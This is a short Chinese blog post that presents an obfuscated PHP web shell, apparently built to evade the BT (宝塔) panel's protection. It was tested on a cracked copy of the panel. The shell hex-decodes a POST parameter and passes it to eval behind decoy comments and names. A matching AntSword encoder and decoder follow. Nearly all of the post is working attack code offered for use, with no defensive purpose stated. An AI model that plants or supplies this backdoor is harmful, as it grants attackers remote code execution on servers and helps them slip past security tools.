环境:php 7.2+nginx+bt
因为宝塔需要收费,所以使用的是破解版测试的7.6.0
木马文件:
<?php class _ { static public $phpcms=Null; function __construct($l="error"){ self::$phpcms=$l; @eval/*Defining error level offences*/(null.null.self::$phpcms); } } function hexToStr($hex){ $str=""; for($i=0;$i<strlen($hex)-1;$i+=2) $str.=chr(hexdec($hex[$i].$hex[$i+1])); return $str; } $error = null.hexToStr(@$_POST/*\*/["1"]); $d = new _($error); ?>
编码器:
/** * php::base64编码器 * Create at: 2021/09/19 16:57:59 */ 'use strict'; /* * @param {String} pwd 连接密码 * @param {Array} data 编码器处理前的 payload 数组 * @return {Array} data 编码器处理后的 payload 数组 */ module.exports = (pwd, data, ext={}) => { // ########## 请在下方编写你自己的代码 ################### // 以下代码为 PHP Base64 样例 data[pwd] = Buffer.from(data['_']).toString('hex'); // ########## 请在上方编写你自己的代码 ################### // 删除 _ 原有的payload delete data['_']; // 返回编码器处理后的 payload 数组 return data; }
解码器:
/** * php::base64解码器 * Create at: 2021/09/20 16:05:35 */ 'use strict'; module.exports = { /** * @returns {string} asenc 将返回数据base64编码 * 自定义输出函数名称必须为 asenc * 该函数使用的语法需要和shell保持一致 */ asoutput: () => { return `function asenc($out){ return @base64_encode($out); } `.replace(/\n\s+/g, ''); }, /** * 解码 Buffer * @param {string} data 要被解码的 Buffer * @returns {string} 解码后的 Buffer */ decode_buff: (data, ext={}) => { return Buffer.from(data.toString(), 'base64'); } }
评论前必须登录!
注册